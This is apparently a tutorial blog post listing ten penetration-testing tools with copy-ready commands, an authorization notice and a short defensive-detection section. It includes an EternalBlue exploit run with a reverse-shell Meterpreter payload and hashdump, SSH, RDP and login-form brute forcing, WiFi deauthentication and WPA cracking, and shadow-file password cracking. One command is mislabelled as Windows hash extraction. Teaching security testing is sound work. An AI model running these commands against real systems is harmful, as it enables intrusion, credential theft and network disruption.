Introduction
The difference between a good ethical hacker and a great one often comes down to tool mastery. While knowing vulnerabilities and attack techniques is crucial, understanding how to effectively use professional security tools separates hobbyists from professionals.
This guide covers the top 10 ethical hacking tools used across penetration testing engagements, bug bounty programs, and enterprise security operations. Each tool includes a brief introduction followed by practical commands you can use immediately.
Important Legal Notice: Use these tools only on systems you own or have explicit written permission to test. Unauthorized access is illegal in most jurisdictions.
1. Kali Linux
Overview
Kali Linux is a Debian-based distribution specifically designed for penetration testing and security auditing. It comes preloaded with over 600 security tools and is maintained by Offensive Security.
Key Features
Pre-installed security tools organized by category
Live boot capability for forensics work
ARM support for mobile penetration testing
Customizable and lightweight
Essential Commands
Update Kali Linux:
sudo apt update && sudo apt upgrade -y
sudo apt dist-upgrade -y
Install additional tools:
sudo apt install <tool-name>
Search for tools:
apt-cache search <keyword>
Check Kali version:
cat /etc/os-release
Access tool categories:
ls /usr/share/kali-menu/
2. Nmap (Network Mapper)
Overview
Nmap is the industry standard for network discovery and security auditing. It can scan single hosts or entire networks to identify devices, services, operating systems, and potential vulnerabilities.
Essential Commands
Basic host discovery:
nmap -sn 192.168.1.0/24
Scan specific ports:
nmap -p 80,443 192.168.1.1
Scan all 65535 ports:
nmap -p- 192.168.1.1
Service version detection:
nmap -sV 192.168.1.1
Operating system detection:
nmap -O 192.168.1.1
Aggressive scan (OS detection, version detection, script scanning, traceroute):
nmap -A 192.168.1.1
Fast scan (top 100 ports):
nmap -F 192.168.1.1
Stealth SYN scan:
sudo nmap -sS 192.168.1.1
UDP scan:
sudo nmap -sU 192.168.1.1
Scan with default NSE scripts:
nmap -sC 192.168.1.1
Vulnerability scanning:
nmap --script vuln 192.168.1.1
Save results to file:
nmap -oN output.txt 192.168.1.1
nmap -oX output.xml 192.168.1.1
Scan multiple targets:
nmap 192.168.1.1 192.168.1.5 192.168.1.10
nmap 192.168.1.1-10
3. Metasploit Framework
Overview
Metasploit is the most powerful penetration testing framework available. It provides tools for developing, testing, and executing exploit code against remote targets. Used by security professionals and penetration testers worldwide.
Essential Commands
Start Metasploit console:
msfconsole
Update Metasploit:
sudo apt update && sudo apt install metasploit-framework
Search for exploits:
msf6 > search <keyword>
msf6 > search type:exploit platform:windows
Use an exploit:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Show exploit options:
msf6 > show options
msf6 > show payloads
msf6 > show targets
Set required options:
msf6 > set RHOSTS 192.168.1.1
msf6 > set RPORT 445
msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
Set payload:
msf6 > set payload windows/meterpreter/reverse_tcp
Check if target is vulnerable:
msf6 > check
Run the exploit:
msf6 > exploit
msf6 > run
Meterpreter session commands:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > shell
meterpreter > download <file>
meterpreter > upload <file>
meterpreter > hashdump
meterpreter > screenshot
Background a session:
meterpreter > background
List active sessions:
msf6 > sessions -l
Interact with a session:
msf6 > sessions -i 1
4. Burp Suite
Overview
Burp Suite is the leading web application security testing tool. It acts as an intercepting proxy allowing you to view and modify HTTP/HTTPS traffic between your browser and target applications.
Essential Operations
Start Burp Suite:
java -jar burpsuite_community.jar
Or from Kali:
burpsuite
Key Features and Usage
Proxy Configuration:
Default proxy: 127.0.0.1:8080
Configure browser to use Burp as proxy
Install Burp CA certificate for HTTPS interception
Intercept Requests:
Turn on intercept in Proxy tab
Browse to target site
Modify requests before forwarding
Forward or drop requests
Send to Repeater:
Right-click request and select "Send to Repeater"
Manually modify and resend requests
Compare different responses
Intruder (Automated Testing):
Send request to Intruder
Set payload positions using § markers
Configure payload type (simple list, numbers, etc.)
Start attack to test multiple inputs
Spider/Crawler:
Right-click target and select "Spider this host"
Automatically discovers site structure
Identifies entry points for testing
Scanner (Professional version):
Automated vulnerability scanning
Active and passive scanning
Identifies common vulnerabilities
5. Wireshark
Overview
Wireshark is the world's most popular network protocol analyzer. It captures packets in real-time and displays them in human-readable format, essential for network troubleshooting and security analysis.
Essential Operations
Start Wireshark:
sudo wireshark
Start capture from command line:
sudo tshark -i eth0
Display Filters
Filter by protocol:
http
dns
tcp
udp
icmp
Filter by IP address:
ip.addr == 192.168.1.1
ip.src == 192.168.1.1
ip.dst == 192.168.1.1
Filter by port:
tcp.port == 80
udp.port == 53
Filter HTTP methods:
http.request.method == "POST"
http.request.method == "GET"
Filter for credentials:
http.request.method == "POST" && frame contains "password"
Combine filters:
ip.addr == 192.168.1.1 && tcp.port == 80
Capture Filters
Capture specific host:
host 192.168.1.1
Capture specific port:
port 80
Capture range:
net 192.168.1.0/24
Command Line Operations
Capture to file:
sudo tshark -i eth0 -w capture.pcap
Read from file:
tshark -r capture.pcap
Apply display filter to capture file:
tshark -r capture.pcap -Y "http"
6. Nessus
Overview
Nessus is one of the most comprehensive vulnerability scanners available. It identifies security vulnerabilities, configuration issues, malware, and missing patches across networks and systems.
Essential Operations
Start Nessus service:
sudo systemctl start nessusd
sudo /bin/systemctl start nessusd.service
Stop Nessus:
sudo systemctl stop nessusd
Check Nessus status:
sudo systemctl status nessusd
Access web interface:
https://localhost:8834
Update plugins:
sudo /opt/nessus/sbin/nessuscli update
Scan Configuration Best Practices
Basic Network Scan:
Choose "Basic Network Scan" template
Define target IP range
Schedule scan during maintenance window
Credentialed Scan:
Provide SSH or Windows credentials
Enables deeper vulnerability detection
Identifies missing patches and configuration issues
Web Application Scan:
Use for testing web applications
Identifies OWASP Top 10 vulnerabilities
Tests for SQL injection, XSS, etc.
7. Aircrack-ng
Overview
Aircrack-ng is a complete suite of tools for assessing WiFi network security. It focuses on monitoring, attacking, testing, and cracking wireless networks.
Essential Commands
Check wireless interfaces:
iwconfig
airmon-ng
Enable monitor mode:
sudo airmon-ng start wlan0
Scan for networks:
sudo airodump-ng wlan0mon
Capture handshake:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Deauthenticate client (force handshake capture):
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
Crack WPA/WPA2 with wordlist:
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Test injection capability:
sudo aireplay-ng --test wlan0mon
Fake authentication:
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
Stop monitor mode:
sudo airmon-ng stop wlan0mon
8. John the Ripper
Overview
John the Ripper is a fast password cracker supporting numerous encryption types. It automatically detects hash types and performs dictionary, brute-force, and hybrid attacks.
Essential Commands
Basic password cracking:
john hashes.txt
Specify wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Show cracked passwords:
john --show hashes.txt
Crack with rules:
john --wordlist=wordlist.txt --rules hashes.txt
Brute force attack:
john --incremental hashes.txt
Specify format:
john --format=raw-md5 hashes.txt
john --format=NT hashes.txt
List supported formats:
john --list=formats
Use specific session:
john --session=mysession hashes.txt
Restore session:
john --restore=mysession
Hash Extraction
Extract Windows hashes:
sudo unshadow /etc/passwd /etc/shadow > hashes.txt
Extract SSH private key hash:
ssh2john id_rsa > ssh_hash.txt
Extract ZIP password hash:
zip2john file.zip > zip_hash.txt
9. Hydra
Overview
THC Hydra is a fast network logon cracker supporting numerous protocols. It performs parallel brute-force attacks against authentication systems.
Essential Commands
Basic syntax:
hydra -l username -p password target service
Single username, password list:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ssh
Username list, single password:
hydra -L users.txt -p password123 192.168.1.1 ftp
Username and password lists:
hydra -L users.txt -P passwords.txt 192.168.1.1 ssh
HTTP POST form:
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
FTP brute force:
hydra -l admin -P passwords.txt ftp://192.168.1.1
SSH brute force:
hydra -l root -P passwords.txt ssh://192.168.1.1
RDP brute force:
hydra -l administrator -P passwords.txt rdp://192.168.1.1
Multiple targets:
hydra -L users.txt -P passwords.txt -M targets.txt ssh
Specify port:
hydra -l admin -P passwords.txt 192.168.1.1 -s 2222 ssh
Verbose output:
hydra -l admin -P passwords.txt 192.168.1.1 ssh -V
Save results:
hydra -l admin -P passwords.txt 192.168.1.1 ssh -o results.txt
10. Maltego
Overview
Maltego is an OSINT and graphical link analysis tool for gathering and connecting information. It visualizes relationships between people, companies, domains, networks, and more.
Essential Operations
Start Maltego:
maltego
Key Features
Transform Hub:
Access built-in and third-party data sources
Run transforms to gather information
Automated data collection from multiple sources
Entity Types:
Person, Email Address, Phone Number
Domain, DNS Name, IP Address
Company, Location, Document
Common Transforms:
To DNS Name from Domain
To IP Address from Domain
To Email Addresses from Domain
To Person from Email Address
To Phone Numbers from Person
Graph Operations:
Create new graph for each investigation
Add entities manually or through transforms
Run transforms to expand information
Export graphs for reporting
Investigation Workflow
Start with seed entity (domain, email, person)
Run relevant transforms
Analyze connections and patterns
Expand promising leads
Document findings in graph format
Detection and Defense Considerations
Ethical Usage Guidelines
Always obtain written authorization:
Penetration testing agreements
Scope definitions
Rules of engagement
Emergency contact procedures
Stay within scope:
Only test authorized systems
Respect IP ranges and domains specified
Follow time windows for testing
Report findings promptly
Defensive Detection
Organizations should monitor for:
Port scanning activity (Nmap signatures)
Vulnerability scanning patterns (Nessus, Nikto)
Brute force attempts (Hydra, John)
Unusual WiFi deauthentication packets (Aircrack-ng)
Web application testing patterns (Burp Suite)
Deploy defensive measures:
Intrusion Detection Systems (IDS)
Intrusion Prevention Systems (IPS)
Web Application Firewalls (WAF)
Security Information and Event Management (SIEM)
Endpoint Detection and Response (EDR)
Best Practices
Tool Selection
Choose the right tool for the task:
Network reconnaissance: Nmap
Web application testing: Burp Suite
Password auditing: John the Ripper, Hydra
Wireless security: Aircrack-ng
Vulnerability assessment: Nessus
OSINT gathering: Maltego
Operational Security
Protect your testing environment:
Use VPN when conducting tests
Isolate testing systems from production
Maintain detailed logs of all activities
Use version control for custom scripts
Keep tools updated
Documentation
Maintain comprehensive records:
Commands executed
Results obtained
Screenshots of findings
Timestamps for all activities
Remediation recommendations
Continuous Learning
Stay current with tool updates:
Follow tool development on GitHub
Join security communities
Practice in legal environments (CTFs, HackTheBox)
Obtain certifications (CEH, OSCP, GPEN)
Attend security conferences
Key Takeaways
Master the fundamentals before advanced techniques. Understanding basic commands and workflows is more valuable than knowing obscure exploits.
Tool mastery comes from practice. Set up home labs, participate in CTF competitions, and use platforms like HackTheBox and TryHackMe.
Always operate legally and ethically. Unauthorized access is illegal regardless of intent. Always obtain written permission.
Combine multiple tools for comprehensive assessments. No single tool covers all aspects of security testing.
Document everything. Detailed documentation protects you legally and provides value to clients.
Stay updated. Security tools evolve rapidly. Subscribe to tool blogs, GitHub repositories, and security mailing lists.
Understand what tools do behind the scenes. Reading tool documentation and source code improves your overall security knowledge.
Connect With Me
Sign up FREE: app.cyberhawkthreatintel.com
YouTube: @cyberhawkconsultancy and @cyberhawkk TikTok: @cyberhawkthreatintel X: @cyberhawkintel Telegram: @cyberhawkthreatintel
Hashtags: #cyberhawktheatintel #cyberhawkconsultancy #cyberhawkk